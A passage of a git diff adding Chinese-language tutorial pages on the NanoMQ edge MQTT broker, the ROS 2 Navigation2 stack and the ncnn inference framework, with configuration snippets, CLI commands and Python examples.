topic → 远端 topic(上行) +- **subscription**:远端 topic → 本地 topic(下行) + +断网时 NanoMQ 可结合持久化 **排队**,恢复后补发;桥接连接状态还会通过 **系统 topic** 发 online/offline 事件(见下文 `$SYS`)。 + +### 5. 规则引擎与 Webhook + +NanoMQ 可用 **类 SQL** 语句对消息做过滤、投影、转发到外部 sink(具体语法见官方 Rule Engine 文档)。**Webhook** 则把 MQTT 事件 POST 到现有 HTTP 服务——适合边缘已有 REST 微服务、暂不想全改 MQTT 的迁移路径。 + +### 6. 系统 Topic `$SYS/`:可观测性 + +订阅系统 topic 可收到客户端上下线、桥接状态等 JSON 事件,例如(0.24.1+ 合并为单 topic): + +``` +Topic: $SYS/brokers/client_status/${clientid} +Message: {"status":"online", "client_id":"...", "IPv4":"127.0.0.1", ...} +``` + +生产环境应为 `$SYS` 单独设 ACL,避免泄露拓扑。 + +### 7. 配置文件 `nanomq.conf` 与环境变量 + +启动: + +```bash +nanomq start +# 或 +nanomq start --conf /etc/nanomq.conf +``` + +Docker 常用挂载: + +```bash +docker run -d --name nanomq \ + -p 1883:1883 -p 8083:8083 -p 8883:8883 \ + -v /path/to/nanomq.conf:/etc/nanomq.conf \ + emqx/nanomq:latest +``` + +大量选项可用 **环境变量** 覆盖(如 `NANOMQ_PARALLEL`、`NANOMQ_ALLOW_ANONYMOUS`、`NANOMQ_WEBSOCKET_ENABLE`),适合 K8s ConfigMap / Docker Compose 部署。 + +### 8. `nanomq_cli` 工具集 + +除 broker 外,同一仓库还提供: + +| 命令 | 用途 | +| --- | --- | +| `nanomq_cli pub` / `sub` | 发布、订阅、测连通 | +| `nanomq_cli conn` | 测试连接与 keepalive | +| bench(需 `-DBUILD_BENCH=ON` 编译) | MQTT 压测 | +| ZMQ / DDS proxy 等 | 多协议网关(可选编译) | + +客户端库 **NanoSDK** 见 [nanomq/NanoSDK](https://github.com/nanomq/NanoSDK)。 + +## 快速上手 + +### 用 Docker 一分钟跑起来 + +```bash +docker run -d --name nanomq \ + -p 1883:1883 -p 8083:8083 -p 8883:8883 \ + emqx/nanomq:latest +``` + +### 本机二进制 + +从 [nanomq.io/downloads](https://nanomq.io/downloads) 下载对应架构包,或使用包管理 / 源码编译(需 CMake ≥ 3.13、C99): + +```bash +git clone https://github.com/nanomq/nanomq.git +cd nanomq && git submodule update --init --recursive +mkdir build && cd build +cmake -G Ninja .. +ninja +# 安装后 +nanomq start +``` + +常用 CMake 开关:`-DNNG_ENABLE_TLS=ON`(TLS)、`-DNNG_ENABLE_QUIC=ON`(QUIC 桥)、`-DNNG_ENABLE_SQLITE=ON`(SQLite 持久化)。 + +## 代码示例 + +### 示例 1:用 `nanomq_cli` 验证 pub/sub + +终端 A——订阅 topic,QoS 1: + +```bash +nanomq_cli sub -h 127.0.0.1 -p 1883 -t 'demo/status' -q 1 -v +``` + +终端 B——发布 retained 状态(新订阅者立刻看到 `online`): + +```bash +nanomq_cli pub -h 127.0.0.1 -p 1883 -t 'demo/status' -m 'online' -q 1 -r +``` + +再发一条普通心跳: + +```bash +nanomq_cli pub -h 127.0.0.1 -p 1883 -t 'demo/status' -m "heartbeat-$(date +%s)" -q 1 +``` + +`-r` 为 retain;`-v` 打印详细日志。若 broker 在 Docker 内,把 `127.0.0.1` 换成宿主机 IP 或 `-p` 映射后的地址。 + +### 示例 2:最小 Bridge 配置片段(边 → 公有云) + +在 `nanomq.conf` 中增加(路径与用户名请按环境修改;以下为官方 Quick Start 精简版): + +```hcl +bridges.mqtt.emqx_cloud { + server = "mqtt-tcp://broker.emqx.io:1883" + proto_ver = 4 + clientid = "edge_gateway_01" + keepalive = 60s + clean_start = false + username = "your_user" + password = "your_pass" + + forwards = [ + { + remote_topic = "cloud/factory/line1" + local_topic = "factory/line1/#" + qos = 1 + } + ] + + subscription = [ + { + remote_topic = "cloud/cmd/factory" + local_topic = "factory/cmd/#" + qos = 1 + } + ] + + max_parallel_processes = 2 + max_send_queue_len = 32 + max_recv_queue_len = 128 +} +``` + +启动: + +```bash +nanomq start --conf ./nanomq.conf +``` + +本地 `nanomq_cli pub -t 'factory/line1/temp' -m '26.3'` 后,在云端订阅 `cloud/factory/line1` 应能收到转发;云端向 `cloud/cmd/factory` 发布的指令会落到本地 `factory/cmd/#`。 + +### 示例 3:Python(paho-mqtt)连接 NanoMQ + +```python +import json +import paho.mqtt.client as mqtt + +BROKER = "127.0.0.1" +PORT = 1883 + +def on_connect(client, userdata, flags, reason_code, properties): + print("connected:", reason_code) + client.subscribe("edge/+/telemetry", qos=1) + +def on_message(client, userdata, msg): + print(msg.topic, msg.payload.decode()) + +sub = mqtt.Client(mqtt.CallbackAPIVersion.VERSION2, client_id="edge-monitor") +sub.on_connect = on_connect +sub.on_message = on_message +sub.connect(BROKER, PORT, 60) +sub.loop_forever() +``` + +发布端(另开进程): + +```python +import paho.mqtt.client as mqtt + +pub = mqtt.Client(mqtt.CallbackAPIVersion.VERSION2) +pub.connect("127.0.0.1", 1883, 60) +pub.publish("edge/sensor01/telemetry", '{"t":22.1}', qos=1) +pub.disconnect() +``` + +若关闭匿名登录,在 `connect` 前调用 `username_pw_set(...)`,并与 `nanomq.conf` 中认证配置一致。 + +## 典型应用场景 + +1. **工厂边缘网关**:PLC/传感器 pub 到本地 topic,NanoMQ bridge 汇总到 EMQX Cloud / 私有云,断网时 SQLite 缓存。 +2. **车联网 SDV**:车内多 ECU 经 MQTT 总线交换信号,NanoMQ 作轻量 message bus,可选 DDS proxy 与 CycloneDDS 互通。 +3. **智能家居边缘盒**:比 Mosquitto 更高并发多房间设备,同时 Webhook 推送到现有 Home Server HTTP API。 +4. **规则下沉**:用 SQL 规则在边缘丢弃无效采样、只上报告警,节省 4G 流量。 +5. **开发与压测**:`nanomq_cli` bench 对比边缘硬件选型,HTTP API 做自动化运维。 + +## 踩过的坑 + +1. **默认匿名与 Docker 暴露端口**:`-p 1883:1883` 映射到公网且 `NANOMQ_ALLOW_ANONYMOUS=true` 时极易被扫描滥用;生产必须认证 + TLS + 防火墙。 +2. **Bridge 的 subscription 必须写 qos**:官方文档强调每条 `subscription` 都要设 `qos`,否则 NanoMQ **不会**向远端订阅,表现为「下行永远收不到」。 +3. **混淆 broker 与 cli 配置**:`nanomq.conf` 只给 **broker** 用;`nanomq_cli pub/sub` 参数走命令行,不要指望在同一个 conf 里配 pub。 +4. **QoS 2 与业务幂等**:MQTT QoS 2 只保证协议层不重复,消费端写库仍要自己做 dedup。 +5. **Retain 用于错误 topic**:对秒级 telemetry 开 retain 会让新订阅者误以为旧值仍有效。 +6. **并行度不是越大越好**:`NANOMQ_PARALLEL` / `max_parallel_processes` 过高在小内存设备上反而增加调度开销,需结合 benchmark 调参。 +7. **MQTT 5 部分特性**:README 列出 Auth、Server Redirection 等 **尚未支持** 的 5.0 特性,混用新客户端时要查版本说明。 + +## 与其他组件怎么配合 + +``` +[传感器 / ECU] ──MQTT──► [NanoMQ 边缘] ──bridge──► [EMQX / 云端 MQTT] + │ │ + │ ├── SQL Rule ──► [本地 SQLite / 时序库] + │ ├── Webhook ──► [现有 HTTP 微服务] + ▼ ▼ + [NanoSDK 固件] [HTTP API 运维 / Prometheus 抓取] +``` + +- **EMQX 全家桶**:NanoMQ 常作边缘节点,EMQX 作云端汇聚;Bridge 配置对称即可。 +- **eKuiper**:流式 SQL 处理与 NanoMQ 规则互补,复杂 CEP 可下沉到 eKuiper。 +- **Telegraf / 自研消费者**:sub 边缘 topic 写入 [[influxdb]]、[[postgresql]] 等。 +- **Kubernetes**:官方 Docker 镜像 + ConfigMap 挂载 `nanomq.conf`,用 HTTP 健康检查与 `$SYS` 监控。 +- **与 Mosquitto 选型**:要极简、插件生态、Home Assistant 一键 addon → Mosquitto;要多核吞吐、内置桥与规则 → NanoMQ。 + +## 学习路径建议 + +1. **第 1 天**:Docker 或 `nanomq start`,`nanomq_cli sub/pub` 理解 topic、QoS、retain。 +2. **第 2 天**:读默认 `nanomq.conf`,关匿名、配 TLS listener(`-DNNG_ENABLE_TLS=ON` 构建或使用官方带 TLS 包)。 +3. **第 3 天**:配置一条到 `broker.emqx.io` 的 bridge,验证 forwards 与 subscription 双向。 +4. **第 4 天**:订阅 `$SYS/brokers/client_status/#`,观察上下线 JSON;试 HTTP API 改配置(若启用)。 +5. **第 5 天**:读 [NanoMQ 文档](https://nanomq.io/docs/en/latest/) 中 Rule Engine、Persistence;用 bench 在目标硬件上压测,对照 [test report](https://nanomq.io/docs/latest/test-report.html)。 + +## 参考资料 + +- 源码与 README:[github.com/nanomq/nanomq](https://github.com/nanomq/nanomq) +- 官网:[nanomq.io](https://nanomq.io/) +- 快速开始:[Quick Start](https://nanomq.io/docs/en/latest/quick-start/quick-start.html) +- CLI 手册:[Command Line Interface](https://nanomq.io/docs/en/latest/toolkit/command-line.html) +- LF Edge 项目页:[lfedge.org/projects/nanomq](https://lfedge.org/projects/nanomq/) +- MQTT 规范:[MQTT 3.1.1](https://docs.oasis-open.org/mqtt/mqtt/v3.1.1/os/mqtt-v3.1.1-os.html) / [MQTT 5.0](https://docs.oasis-open.org/mqtt/mqtt/v5.0/cs02/mqtt-v5.0-cs02.html) +- 客户端示例:[MQTT-Client-Examples](https://github.com/emqx/MQTT-Client-Examples) +- C SDK:[NanoSDK](https://github.com/nanomq/NanoSDK) diff --git a/src/content/docs/projects/navigation2.md b/src/content/docs/projects/navigation2.md new file mode 100644 index 000000000..76c88fe67 --- /dev/null +++ b/src/content/docs/projects/navigation2.md @@ -0,0 +1,385 @@ +--- +title: Navigation2 (Nav2) — 移动机器人导航零基础入门 +来源: 'https://github.com/ros-navigation/navigation2' +日期: 2026-06-13 +子分类: 嵌入式 +分类: 操作系统 +provenance: pipeline-v3 +--- + +## 日常类比:商场里的「导览系统 + 保安 + 路线规划师」 + +想象你推着一辆购物车在大型商场里,要从入口走到三楼书店。商场里已经有一套成熟的导览体系,而不是你边走边临时问路: + +- **地图(Map)** 像商场平面图:哪里是墙、哪里能走,事先画好或扫出来。 +- **定位(Localization)** 像头顶的蓝牙信标/Wi-Fi 定位:告诉你「我现在在 2 楼扶梯口偏东 3 米」。 +- **全局规划(Global Planner)** 像导航 App 算整条路线:从入口经扶梯到书店,走哪条通道最顺。 +- **局部规划 / 控制(Local Planner / Controller)** 像你推车时的实时微调:前面突然有人停下,绕一下、慢一点,但大方向不变。 +- **代价地图(Costmap)** 像热力图:越红越「不想走」(离障碍物近),规划会主动绕开。 +- **行为树(Behavior Tree)** 像导览员手里的流程卡:先算路 → 跟路走 → 卡住了就执行恢复动作(原地转圈看清环境、后退、清地图)→ 再试一次。 +- **生命周期管理(Lifecycle Manager)** 像商场开业流程:先通电、再开监控、再开扶梯,**按顺序**把各子系统拉起来;关店时反过来,避免「定位还没好就开始乱跑」。 + +**Navigation2(Nav2)** 就是 ROS 2 生态里这套「移动机器人导览系统」的标准实现。它是 ROS 1 `navigation` 栈的专业继任者,被 Autoware、仓储 AMR、服务机器人等大量产品采用。官方仓库:[ros-navigation/navigation2](https://github.com/ros-navigation/navigation2);概念与配置见 [Nav2 Documentation](https://docs.nav2.org/)。 + +它和 [[ros2]] 的关系:Nav2 完全跑在 ROS 2 之上,用 **Topic** 传传感器与速度指令,用 **Action** 暴露「导航到某点」「穿过多个路标」等长任务,用 **Lifecycle Node** 管理各服务器启停。若你已读过 ROS 2 笔记里的节点/话题/动作,Nav2 就是把它们组织成一条可产品化的导航流水线。 + +--- + +## 解决什么问题 + +移动机器人在室内/园区自主行走,至少要同时搞定四件事: + +| 痛点 | 没有 Nav2 时 | Nav2 的回应 | +| --- | --- | --- | +| 模块耦合 | 定位、规划、控制各写各的,接口不统一 | 拆成 **Planner / Controller / Smoother / Behavior** 等 **Task Server**,经 BT Navigator 编排 | +| 卡住不会自救 | 规划失败或跟丢路径就停住 | 默认 BT 含 **Recovery**:清 costmap、原地旋转、等待、后退等 | +| 启动顺序混乱 | 地图未加载就规划,TF 未就绪就发速度 | **Lifecycle Manager** 按 `node_names` 顺序 configure → activate | +| 算法换不了 | 换 DWB 为 RPP 要改一堆代码 | **插件架构**:`nav2_core` 接口 + YAML 里换 `plugin` 名 | + +Nav2 要回答的核心问题是:**能否在 ROS 2 上,用同一套配置和 Action 接口,让差速、全向、阿克曼等多种底盘,在已知或 SLAM 建图环境中,可靠地从 A 走到 B(乃至一串路标点)?** + +--- + +## 系统架构一览 + +官方架构图可概括为「**一个大脑 + 多个专职服务器 + 一层地图**」: + +```text + ┌─────────────────────┐ + │ BT Navigator │ ← 行为树:NavigateToPose / NavigateThroughPoses + │ (bt_navigator) │ + └──────────┬──────────┘ + Action 调用 │ + ┌──────────┼──────────┬───────────┬──────────────┐ + ▼ ▼ ▼ ▼ ▼ + planner controller smoother behaviors waypoint_follower + _server _server _server (recovery) (可选) + │ │ │ │ + └──────────┴────┬─────┴───────────┘ + ▼ + ┌───────────────┐ + │ Costmap 2D │ ← global + local 代价地图 + │ (map_server, │ + │ AMCL/SLAM) │ + └───────────────┘ +``` + +**数据流(简化)**: + +1. 用户或上层应用发 `NavigateToPose` 目标到 `bt_navigator`。 +2. BT 调用 `planner_server` 在 **global costmap** 上算路径。 +3. 可选 `smoother_server` 平滑路径。 +4. `controller_server` 根据 **local costmap** 与路径跟踪,输出 `cmd_vel`。 +5. 失败时 BT 触发 recovery 行为,再重试规划或跟踪。 +6. `lifecycle_manager` 保证 `map_server`、`amcl`、`planner_server` 等按序就绪。 + +--- + +## 核心概念 + +### 1. Task Server 与 Action 接口 + +Nav2 把「算路、跟路、恢复」拆成独立 **服务器节点**,每个服务器对外提供 **Action**(少数用 Service)。上层(通常是 BT Navigator)只认 Action 语义:发目标、收反馈、可取消。 + +常用 Action(包名 `nav2_msgs`): + +| Action | 作用 | +| --- | --- | +| `NavigateToPose` | 导航到单个位姿(最常用) | +| `NavigateThroughPoses` | 按顺序经过多个路标点 | +| `ComputePathToPose` | 只规划路径,不执行 | +| `FollowPath` | 跟踪已有路径 | +| `Spin` / `BackUp` / `Wait` | 恢复行为 | + +查看本机已注册的导航 Action: + +```bash +ros2 action list | grep nav +ros2 action info /navigate_to_pose +``` + +### 2. 行为树(Behavior Tree) + +相比「几十种状态、上百条转移」的有限状态机(FSM),行为树用 **可复用节点**(条件、动作、控制流)拼出复杂流程,更易扩展。Nav2 使用 [BehaviorTree.CPP](https://www.behaviortree.dev/),默认树例如 `navigate_to_pose_w_replanning_and_recovery.xml`: + +- **Navigation 子树**:周期性重规划(默认约 1 Hz)+ `FollowPath`。 +- **Recovery 子树**:子树失败后轮询 `ClearCostmap`、`Spin`、`Wait`、`BackUp` 等。 + +自定义树:复制 XML,在参数里改 `default_nav_to_pose_bt_xml`,或在 Goal 里填 `behavior_tree` 字段指向你的 XML。 + +### 3. Lifecycle Node 与 Lifecycle Manager + +Nav2 关键节点(`map_server`、`amcl`、`planner_server`、`controller_server`、`bt_navigator` 等)都是 **受管生命周期节点**。状态迁移:`unconfigured` → `inactive` → `active` → … + +`nav2_lifecycle_manager` 通过服务 `lifecycle_manager/manage_nodes` 一次性 **startup / pause / resume / reset / shutdown** 列表中的节点。启动顺序由参数 `node_names` 决定——**先传感器与地图,再规划与控制**,避免「无图规划」。 + +在 RViz 的 Nav2 面板点 **Startup**,本质上就是调这个服务;量产系统里一般由 launch 或自主应用自动调用。 + +### 4. 地图、定位与 Costmap + +- **map_server**:加载静态栅格地图(`map.yaml` + 图像)。 +- **AMCL**(Adaptive Monte Carlo Localization):在已知地图上,用激光/里程计估计机器人在 `map` 坐标系下的位姿。 +- **SLAM 模式**:用 `slam_toolbox` 等同时建图与定位,Nav2 `bringup` 里用 `slam:=True` 切换 launch 分支。 +- **Costmap 2D**:两层常见配置——**global**(大范围、低更新率)给全局规划;**local**(小窗口、高更新率)给避障与控制。障碍物来自静态地图层、障碍层(激光)、膨胀层(inflation)等 **plugin** 堆叠。 + +TF 链必须连通:`map` → `odom` → `base_link`(及 `base_link` → `laser` 等传感器)。缺 TF 时 Nav2 会拒绝目标或速度异常——这是初学者最高频问题之一。 + +### 5. 插件(Plugins) + +算法以插件形式加载,YAML 里改类名即可切换,无需改 BT 源码: + +| 服务器 | 示例插件 | +| --- | --- | +| Global Planner | NavFn, Smac Planner 2D/ Hybrid-A* | +| Controller | DWB, RPP (Regulated Pure Pursuit), Graceful | +| Smoother | Savitzky-Golay, Simple | +| Goal Checker | 判断是否到达目标 | + +参数文件通常在 `nav2_bringup/params/*.yaml`,机器人项目应 **复制一份** 改成自己的 `my_robot_nav2.yaml`,而不是直接改官方默认文件。 + +### 6. nav2_simple_commander(Python 高层 API) + +不想手写 Action Client 时,可用官方 Python 库 `nav2_simple_commander`,封装了 lifecycle 等待、发目标、读反馈、取消任务等。适合快速验证和教学 demo。 + +--- + +## 快速上手:仿真一条命令 + +在已安装 Nav2 的 ROS 2 环境(如 Humble/Jazzy + `sudo apt install ros--navigation2`): + +```bash +# 终端 1:TurtleBot3 仿真 + Nav2 全栈 +export TURTLEBOT3_MODEL=burger +ros2 launch nav2_bringup tb3_simulation_launch.py use_sim_time:=True + +# 终端 2:用 RViz 点「2D Pose Estimate」设初始位姿,再点「Nav2 Goal」 +# 或用下面 Python 示例自动发目标 +``` + +`tb3_simulation_launch.py` 会拉起 Gazebo(或新版仿真)、机器人状态发布、定位、规划、控制、RViz 与 lifecycle。**第一次使用务必先设初始位姿**,否则 AMCL 不知道机器人在地图哪里,规划会失败。 + +--- + +## 代码示例一:Python 导航到目标点(nav2_simple_commander) + +下面脚本演示:等待 Nav2 激活 → 设置初始位姿 → 发送 `NavigateToPose` 等价任务 → 打印 ETA 与剩余距离。改编自官方 `example_nav_to_pose.py`。 + +```python +#!/usr/bin/env python3 +import rclpy +from geometry_msgs.msg import PoseStamped +from nav2_simple_commander.robot_navigator import BasicNavigator, TaskResult + + +def main(): + rclpy.init() + navigator = BasicNavigator() + + # 等待 lifecycle 全部激活(launch 里 autostart:=True 时必需) + navigator.waitUntilNav2Active() + + # 初始位姿:告诉 AMCL「机器人在地图上的大概位置」 + initial_pose = PoseStamped() + initial_pose.header.frame_id = 'map' + initial_pose.pose.position.x = -2.0 + initial_pose.pose.position.y = -0.5 + initial_pose.pose.orientation.w = 1.0 + navigator.setInitialPose(initial_pose) + + # 目标位姿 + goal_pose = PoseStamped() + goal_pose.header.frame_id = 'map' + goal_pose.pose.position.x = 1.5 + goal_pose.pose.position.y = 0.5 + goal_pose.pose.orientation.w = 1.0 + + navigator.goToPose(goal_pose) + + while not navigator.isTaskComplete(): + feedback = navigator.getFeedback() + if feedback: + print( + f'剩余距离: {feedback.distance_remaining:.2f} m, ' + f'预计到达: {feedback.estimated_time_remaining.sec} s' + ) + + result = navigator.getResult() + if result == TaskResult.SUCCEEDED: + print('导航成功') + elif result == TaskResult.CANCELED: + print('导航被取消') + else: + print('导航失败') + + navigator.lifecycleShutdown() + rclpy.shutdown() + + +if __name__ == '__main__': + main() +``` + +运行前确认仿真已启动且地图 frame 为 `map`。若换真实机器人,把初始位姿改为 GPS/反光板/手动标定值,并关闭 `use_sim_time`。 + +--- + +## 代码示例二:YAML 参数片段(规划器 + 控制器 + BT) + +真实项目里,核心差异往往在 **参数** 而非改 C++。下面摘录典型结构(字段名因发行版略有不同,以你安装的 `nav2_bringup/params/nav2_params.yaml` 为母版修改): + +```yaml +bt_navigator: + ros__parameters: + use_sim_time: true + global_frame: map + robot_base_frame: base_link + odom_topic: /odom + # 默认行为树:含重规划 + 恢复 + default_nav_to_pose_bt_xml: navigate_to_pose_w_replanning_and_recovery.xml + plugin_lib_names: + - nav2_compute_path_to_pose_action_bt_node + - nav2_follow_path_action_bt_node + - nav2_spin_action_bt_node + - nav2_wait_action_bt_node + - nav2_clear_costmap_service_bt_node + +planner_server: + ros__parameters: + planner_plugins: ["GridBased"] + GridBased: + plugin: "nav2_navfn_planner/NavfnPlanner" + tolerance: 0.5 + use_astar: false + +controller_server: + ros__parameters: + controller_frequency: 20.0 + min_x_velocity_threshold: 0.001 + controller_plugins: ["FollowPath"] + FollowPath: + plugin: "nav2_regulated_pure_pursuit_controller/RPPController" + desired_linear_vel: 0.5 + lookahead_dist: 0.6 + +local_costmap: + local_costmap: + ros__parameters: + update_frequency: 5.0 + publish_frequency: 2.0 + rolling_window: true + width: 3 + height: 3 + resolution: 0.05 + robot_radius: 0.22 +``` + +launch 时通过 `params_file` 指向你的 YAML: + +```bash +ros2 launch nav2_bringup bringup_launch.py \ + map:=/path/to/warehouse.yaml \ + params_file:=/path/to/my_robot_nav2.yaml \ + use_sim_time:=False +``` + +调参顺序建议:**机器人半径 / footprint → 控制器最大速度 → 膨胀半径 → 规划容差**。一次只改一类参数,用仿真反复走同一条路线对比。 + +--- + +## 代码示例三:底层 Action Client(了解原理用) + +若不用 `nav2_simple_commander`,可直接对 `/navigate_to_pose` 发 Action(与 RViz「Nav2 Goal」相同接口): + +```python +from rclpy.action import ActionClient +from nav2_msgs.action import NavigateToPose + + +class Nav2Client(Node): + def __init__(self): + super().__init__('nav2_client') + self._client = ActionClient(self, NavigateToPose, 'navigate_to_pose') + + def go_to(self, x: float, y: float): + self._client.wait_for_server() + goal = NavigateToPose.Goal() + goal.pose.header.frame_id = 'map' + goal.pose.header.stamp = self.get_clock().now().to_msg() + goal.pose.pose.position.x = x + goal.pose.pose.position.y = y + goal.pose.pose.orientation.w = 1.0 + self._client.send_goal_async(goal) +``` + +注意:**发导航目标前**,必须先有可靠的 `map`→`base_link` 位姿(AMCL 已收敛或你已 `setInitialPose`)。否则 BT 会认为定位无效而失败。 + +--- + +## 默认行为树在做什么(读懂 XML) + +`navigate_to_pose_w_replanning_and_recovery.xml` 逻辑可口述为: + +1. 收到目标后,进入 **PipelineSequence**:一边以固定频率 **重算全局路径**,一边 **FollowPath**。 +2. 若规划或跟路失败,在 Navigation 子树内先做 **上下文恢复**(如清 local costmap)。 +3. 若仍失败,进入 Recovery 子树:**轮询** Spin → Wait → BackUp → ClearCostmap 等,再回到 Navigation 重试。 +4. 全部耗尽仍失败,Action 返回 `aborted`,上层应用决定告警或人工接管。 + +读 XML 不必一次啃完;用 `bt_navigator` 的 Groot 监控或日志,对照「机器人实际在转圈还是后退」理解更快。 + +--- + +## 与 ROS 1 navigation 的主要差异 + +| 维度 | ROS 1 move_base | Nav2 | +| --- | --- | --- | +| 中间件 | ROS 1 | ROS 2 + DDS | +| 编排 | 较固定的 recovery 顺序 | **行为树**,可换 XML | +| 节点模型 | 普通节点 | **Lifecycle** + bond 看门狗 | +| 接口 | 多种自定义 | 统一 **nav2_msgs** Action | +| 扩展 | 改源码较多 | **插件** + YAML | + +从 ROS 1 迁移时:先别急着复刻旧参数,用默认 TB3 仿真跑通,再逐项把 `move_base` 参数映射到 `planner_server` / `controller_server` / costmap 插件。 + +--- + +## 常见问题排查 + +| 现象 | 可能原因 | 处理 | +| --- | --- | --- | +| 发目标无反应 | 未 Startup / lifecycle 未 active | RViz 面板 Startup 或调 `manage_nodes` | +| 全局规划失败 | 无初始位姿、目标在障碍物内 | 2D Pose Estimate;检查 goal 是否在自由空间 | +| 机器人不动但无报错 | `cmd_vel` 未接到底盘;TF 断链 | `ros2 topic echo /cmd_vel`;`ros2 run tf2_tools view_frames` | +| 贴墙抖、绕障怪 | 膨胀半径、footprint、控制器增益 | 调 local costmap inflation 与 RPP/DWB 参数 | +| 仿真时间错乱 | `use_sim_time` 不一致 | 全局统一 `use_sim_time:=True` 并开 `/clock` | + +调试命令清单: + +```bash +ros2 lifecycle get /planner_server # 应为 active [3] +ros2 topic hz /scan # 激光是否进栈 +ros2 run nav2_util lifecycle_bringup autostart # 部分环境手动拉起 +``` + +--- + +## 学习路径建议(零基础 → 能改项目) + +1. **跑通仿真**:`tb3_simulation_launch.py`,会用 RViz 设初始位姿与目标。 +2. **读架构图**:对照本文「系统架构」记住 planner / controller / BT / costmap 分工。 +3. **改 YAML**:只改 `desired_linear_vel`、`robot_radius`,观察行为变化。 +4. **换 BT**:复制默认 XML,删掉某种 recovery,看失败时有何不同。 +5. **接真机**:导出自己机器人的 URDF footprint、激光 topic、差速 `cmd_vel`,新建 `my_robot_nav2.yaml`。 +6. **读插件列表**:[Navigation Plugins](https://docs.nav2.org/plugins/index.html) 按底盘类型选控制器(差速常用 RPP 或 DWB;阿克曼用 Smac Hybrid-A* + 相应控制器)。 + +延伸阅读: + +- [Navigation Concepts](https://docs.nav2.org/concepts/index.html) — Lifecycle、BT、Action 设计哲学 +- [Detailed Behavior Tree Walkthrough](https://docs.nav2.org/behavior_trees/overview/detailed_behavior_tree_walkthrough.html) — 默认树逐节点说明 +- [Adding a New Nav2 Task Server](https://docs.nav2.org/tutorials/docs/adding_a_nav2_task_server.html) — 扩展自定义服务器 +- 关联笔记:[[ros2]](通信基础)、[[moveit2]](机械臂规划,常与 Nav2 组成移动操作机器人) + +--- + +## 小结 + +Nav2 不是单个「导航节点」,而是一套 **由行为树编排的、生命周期受控的、插件化可扩展的** 移动机器人导航框架。日常使用时你主要接触三件事:**launch 拉起全栈**、**设初始位姿 + 发 NavigateToPose**、**按机器人调 YAML**。把商场导览的类比换成「地图 + 定位 + 规划 + 控制 + 卡住怎么办」,你就已经握住了 Nav2 的主线;其余插件与 XML,都是在这条主线上换策略、加细节。 diff --git a/src/content/docs/projects/ncnn.md b/src/content/docs/projects/ncnn.md new file mode 100644 index 000000000..ab66eb98c --- /dev/null +++ b/src/content/docs/projects/ncnn.md @@ -0,0 +1,250 @@ +--- +title: ncnn — 手机上的「无依赖神经网络放映机」 +来源: https://github.com/Tencent/ncnn +日期: 2026-06-13 +子分类: 嵌入式 +分类: 操作系统 +难度: 中级 +provenance: pipeline-v3 +--- + +## 是什么 + +**ncnn** 是腾讯开源的高性能神经网络**推理**框架,专为手机、嵌入式和桌面端部署优化。源码托管在 [Tencent/ncnn](https://github.com/Tencent/ncnn),自 2017 年发布以来持续维护,被微信、QQ 等亿级产品用于端侧 AI。 + +日常类比:**如果把 [[pytorch]] 训练比作在摄影棚里拍一部电影——灯光、演员、剪辑台一应俱全——那 ncnn 就是装进手机里的「离线放映机」**。 + +放映机不负责拍戏,也不联网下载新片;它只做一件事:把已经刻录好的胶片(`.param` + `.bin` 模型文件)按固定顺序播放出来。更关键的是,这台放映机**不借任何外部设备**:不需要装 BLAS、NNPACK、CUDA 运行时,纯 C++ 就能在 Android、iOS、Linux、Windows、macOS 甚至 WebAssembly 上转起来。类比到生活:你出差住酒店,有的播放器还得先找前台借 HDMI 线和解码器;ncnn 则是自带电池和屏幕的便携机,拎袋就走。 + +和 [[tflite-micro]](面向几 KB RAM 的 MCU)、[[esp-dl]](深度绑定乐鑫芯片)相比,ncnn 瞄准的是**有操作系统、有多核 CPU、可选 GPU 的移动与边缘设备**。 + +## 为什么重要 + +不了解 ncnn,下面几件事就讲不通: + +- 为什么微信、QQ 里人脸贴纸、图像滤镜能在**无网、低延迟**下跑起来——背后常是 ncnn 这类端侧推理引擎,而不是每次请求云端 +- 为什么国内 Android 团队做 CNN 部署时,除了 [[onnx]] Runtime 还会单独评估 ncnn——**零第三方运行时依赖**意味着 APK 体积和链接复杂度可控 +- 为什么同一套 PyTorch 模型在 PC 上跑得飞快,塞进手机却要先「转格式」——ncnn 只认静态计算图(param + bin),训练与推理是两套编制 +- 为什么 Vulkan GPU 加速在移动端是「能用就用、不能用就回退 CPU」——ncnn 从设计之初就把 CPU NEON 多线程当作主路径,GPU 是可选增压 + +典型落地:人脸检测、图像分类、风格迁移、AR 滤镜、离线 OCR 预处理——凡是要在**手机 App、嵌入式 Linux、树莓派**上跑 CNN,且希望安装包体积可控的场景,ncnn 都是常见选型。 + +## 核心要点 + +### 1. 推理-only:训练在 PC,设备只「读 param + bin」 + +ncnn **不支持设备端训练**。标准工作流永远是: + +``` +PyTorch / ONNX 训练 → pnnx(或 onnx2ncnn)转换 → model.ncnn.param + model.ncnn.bin → C++ Net 加载 → Extractor 推理 +``` + +设备上的程序不理解 `backward()`,只理解一张静态计算图。类比:餐厅后厨(训练)和前台取餐窗口(推理)是两套编制。 + +### 2. 双文件模型:`.param` 描述结构,`.bin` 存权重 + +| 文件 | 内容 | 类比 | +| --- | --- | --- | +| `*.param` | 网络拓扑:每层类型、输入输出 blob 名、卷积核大小等 | 乐谱(先奏什么后奏什么) | +| `*.bin` | 浮点或量化后的权重张量 | 乐谱对应的演奏录音 | + +加载时两步走:`load_param()` 再 `load_model()`。也可用 `load_param_bin()` 加载去掉明文字符串的二进制 param,降低逆向可读性。 + +### 3. `ncnn::Net` 与 `ncnn::Extractor` + +- **`Net`**:整个模型的根对象,解析 param、映射 bin 权重、创建推理会话 +- **`Extractor`**:由 `net.create_extractor()` 得到,一次独立 forward pass;`input(blob, mat)` 喂数据,`extract(blob, mat)` 取结果 +- **线程习惯**:多线程环境下,每个线程应使用自己的 `Extractor`,不要跨线程共享 + +### 4. `ncnn::Mat`:推理世界的轻量张量 + +`Mat` 用 `w` / `h` / `c` 表达维度,支持 `from_pixels` / `from_pixels_resize` 从 RGB/BGR 图像构造,以及 `substract_mean_normalize` 做减均值、乘缩放。与 OpenCV `cv::Mat` 可互操作,但内存布局为 SIMD 友好。 + +### 5. pnnx:现代模型转换器 + +官方推荐用 **pnnx**(PyTorch Neural Network eXchange)替代零散的 `onnx2ncnn` 手工链: + +```bash +pip install pnnx +pnnx my_model.onnx +``` + +输出包括 `my_model.ncnn.param` / `.ncnn.bin`(部署用)和 `my_model_pnnx.py`(PyTorch 参考实现)。转换时务必用**真实输入 shape** 的 dummy tensor。 + +### 6. CPU、Vulkan 与量化 + +| 能力 | 说明 | +| --- | --- | +| ARM NEON | Android / iOS 默认加速,多核 `set_num_threads` 可调 | +| 